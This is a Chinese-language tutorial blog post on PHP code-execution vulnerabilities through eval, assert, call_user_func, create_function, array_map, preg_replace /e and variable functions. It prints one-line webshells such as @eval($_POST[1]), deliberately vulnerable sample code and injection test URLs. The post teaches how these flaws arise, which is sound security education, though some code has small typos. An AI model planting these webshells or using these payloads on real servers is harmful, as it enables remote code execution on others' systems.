代码执行漏洞总结

代码执行漏洞是把代码注入到Web服务器中执行,而命令执行漏洞执行的系统命令 ,

代码执行漏洞

有的应用程序提供了一些可以将字符串作为代码执行的函数,如果对这些函数控制不严格,就可能被攻击者利用,执行恶意代码

eval函数

eval函数把字符串作为PHP代码执行

eval(string $code)

eval实例代码 比如一句话木马

<?php @eval($_POST[1])?>

assert函数

assert函数检查一个断言是否为FALSE

bool assert(mixed $assertion[,Throwable $exception])

assert函数会检查指定的assertion并在结果为FALSE时采取适当的行动,如果assertion是字符串,他会被assert函数当做PHP代码执行
示例

<?php @assert($_POST[1])?>

call_user_func函数

把第一个参数作为回调函数调用

mixed call_user_func(callable $callback[,mixed $parameter[,mined $parameter...]])

第一个参数callback是被调用的回调函数 其余参数是回调函数用的参数
示例代码
一句话木马的变形代码 通过POST型fun参数调用system函数,通过POST型arg参数传入id命令,执行了system('id')返回当前用户信息

<?php call_user_func($_POST['fun'],$_POST['arg']);?>

call_user_func_arrey函数

把第一个参数作为回调函数调用 把参数数组作为回调函数的参数调用

mixed call_user_func_arrey(callable $callback,array $param_arr)

示例代码
一句话木马的变形代码 通过POST型fun参数调用system函数,通过POST型arg参数传入id命令,执行了system('id')返回当前用户信息

<?php call_user_func_array($_POST['fun'],$_POST['arg']);?>

create_function函数

根据传递的参数创建匿名函数 并为该匿名函数返回唯一名称

string create_function(string $args,string $code)

示例代码

<?php
	$id=$_GET['id'];
	$code='echo'.$func.'test'.$id.';';
	create_function('$func',$code);
?>

create_function函数会创建虚拟函数,转变成以下代码

<?php
	$id=$_GET['id'];
	function func($func){
 	echo "test".$id;
  }
?>

当传入id的值为1;}phpinfo();/*时 就可以造成 代码执行

array_map函数

为数组的每个元素应用回调函数

array array_map(callable $callback,array $array1[,array $array2...])

函数返回为每个数组元素应用callback函数之后的数组,callback函数形参的数量和传给array_map函数的数组和数量必须相同
示例

<?php
	$func=$_GET['func'];
	$argv=$_GET['argv'];
	$array[0]=$argv;
	array_map($func,$array);
?>

输入语句

http://xxx/index.php?func=system&argv=id

就可以执行任意代码

preg_replace函数

执行一个正则表达式的搜索和替换

mixed preg_replace(mixed $pattern,mixed $replacement,mixed $subject[,int $limit=-1[,int &$count]])

示例

<?php
	$subject='hello hack';
	$pattern='/hack/'
	$replacement=$_GET["name"];
	echo preg_replace($pattern,$replacement,$subject);
?>

测试语句

http://xxx/index.php?name=tom

preg_replace函数会将hack替换成tom
此函数存在模式修饰符 其中修饰符e会让函数将替换后的函数作为PHP代码执行
(以eval函数方式)
如果设置了这个被弃用的修饰符 ,函数对替换字符进行后向引用替换之后 ,将替换后的字符串作为PHP代码评估执行,并使用执行结果作为实际参与替换的字符串,单引号 双引号反斜线和Null字符在后向引用替换式会被自动加上反斜线转义
示例

<?php
	$subject='hello hack';
	$pattern='/hack/e'
	$replacement=$_GET["name"];
	echo preg_replace($pattern,$replacement,$subject);
?>

测试语句

http://xxx/index.php?name=phpinfo()

会将hack替换成phpinfo()同时因为有e修饰符 会将phpinfo()当做代码执行

php可变函数

如果一个变量名后有圆括号 ,Php将寻找与变量值同名的函数并执行他,这意味着Php中可以把函数名通过字符串的方式传递给一个变量然后通过此变量动态调用函数

<?php 
 function foo(){
    echo "foo";
    echo "<br>";
 }

 function bar(){
     echo "bar";
     echo "<br>";
 }

 function echoit($string){
  echo $string;
   echo "<br>";
 }

 $func='foo';
 $func();
 $func='bar';
 $func('test');
 $func='echoit';
 $func('test')
 ?>

在这里插入图片描述
虽然PHP可变函数给开发人员带来了极大地便利,但同时也带来了极大地安全隐患,如果函数的名称可以被用户控制,而且没有做好过滤,就可能会造成恶意函数的执行。

Php可变函数漏洞示例代码:

<?php 
 function foo(){
    echo "foo";
    echo "<br>";
 }

 function bar($arg=''){
     echo "bar";
     echo "<br>";
 }

 function echoit($string){
  echo $string;
   echo "<br>";
 }

$func=$_REQUEST['func'];
$string=$_REQUEST['string'];
echo $func($string);

 ?>

在这里插入图片描述

参考文章

PHP代码执行漏洞
命令执行和代码执行

  • 0
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值